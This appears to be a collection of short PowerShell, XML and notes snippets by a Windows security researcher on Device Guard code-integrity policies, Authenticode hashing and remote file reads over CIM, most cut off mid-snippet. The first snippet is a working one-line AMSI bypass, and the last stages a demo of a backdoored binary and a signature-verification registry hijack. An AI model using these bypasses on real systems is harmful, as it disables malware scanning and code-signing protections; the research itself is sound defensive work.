mattifestation

[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)

mattifestation

"Algorithm","FileHash"
"SHA1","00083ACBE326F29CE6B4900869426640FFC1F14D"
"SHA1","008BE24EDEA854743622BD1EE748D85E9B5402C8"
"SHA1","00953C7E137E01D555EDA3968610355E9CBCDF71"
"SHA1","010009033B9E03BA22C311A4284E673BA6394972"
"SHA1","01396BB9E2633BC0DF02F4456D00791CEC0386A6"
"SHA1","0190ECC0144AC48107208CD8F82CE84F9853DB23"
"SHA1","01914EC642D0439572E204EFF8A235526B7365A3"
"SHA1","0199A56244408EFBD2B1A92E2FF79B1C0A63BCD4"
"SHA1","01C270EB9A5B431C38D2375769E7BC99A0049FBC"

mattifestation

Signer:
  * Supports a "SignTimeAfter" element which presumably only permits the signer rule to apply if the certificate was signed after the specified date. IDK about the rationale behind that (except for maybe "well-known" types) since a cert TBS hash takes the validity period into consideration

Macros:
  * These are entirely new and appear to be used for text substitution which might come in handy for maintaining multiple SI policies.

SidType:
  * This isn't actually used anywhere but perhaps this could be a prelude to user/group-specific rules in a future version? If this happened, then Device Guard would have the one feature that was nice in AppLocker.

FilePathType:

mattifestation

$CimSession = New-CimSession -ComputerName 10.0.0.2

$FilePath = 'C:\Windows\System32\notepad.exe'

# PS_ModuleFile only implements GetInstance (versus EnumerateInstance) so this trick below will force a "Get" operation versus the default "Enumerate" operation.
$PSModuleFileClass = Get-CimClass -Namespace ROOT/Microsoft/Windows/Powershellv3 -ClassName PS_ModuleFile -CimSession $CimSession
$InMemoryModuleFileInstance = New-CimInstance -CimClass $PSModuleFileClass -Property @{ InstanceID= $FilePath } -ClientOnly
$FileContents = Get-CimInstance -InputObject $InMemoryModuleFileInstance -CimSession $CimSession
$FileLengthBytes = $FileContents.FileData[0..3]
[Array]::Reverse($FileLengthBytes)

mattifestation

//------------------------------------------------
//--- 010 Editor v7.0 Binary Template
//
//      File: 
//   Authors: Matt Graeber (@mattifestation)
//   Version: 
//   Purpose:  
//  Category: 
// File Mask: 
//  ID Bytes: 

mattifestation

mattifestation

<?xml version="1.0" encoding="utf-8"?>
<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">
  <VersionEx>10.0.0.0</VersionEx>
  <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>
  <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
  <Rules>
    <Rule>
      <Option>Enabled:Unsigned System Integrity Policy</Option>
    </Rule>
    <Rule>

mattifestation

# Example: ls 'C:\Windows\System32\*' -Include '*.dll' | Get-AuthenticodeSignature | Select -ExpandProperty SignerCertificate | Get-TBSHash

filter Get-TBSHash {
    [OutputType([String])]
    param (
        [Parameter(Mandatory, ValueFromPipeline)]
        [Security.Cryptography.X509Certificates.X509Certificate2]
        $Certificate
    )

mattifestation

$Host.Runspace.LanguageMode

Get-AuthenticodeSignature -FilePath C:\Demo\bypass_test.psm1
Get-AuthenticodeSignature -FilePath C:\Demo\notepad_backdoored.exe

# Try to execute the script. Add-Type will fail.
Import-Module C:\Demo\bypass_test.psm1

$VerifyHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +
                  '\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'

mattifestation

<?xml version="1.0"?>
<SiPolicy xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="urn:schemas-microsoft-com:sipolicy">
  <VersionEx>10.0.0.0</VersionEx>
  <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>
  <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
  <Rules>
    <Rule>
      <Option>Enabled:UMCI</Option>
    </Rule>
    <Rule>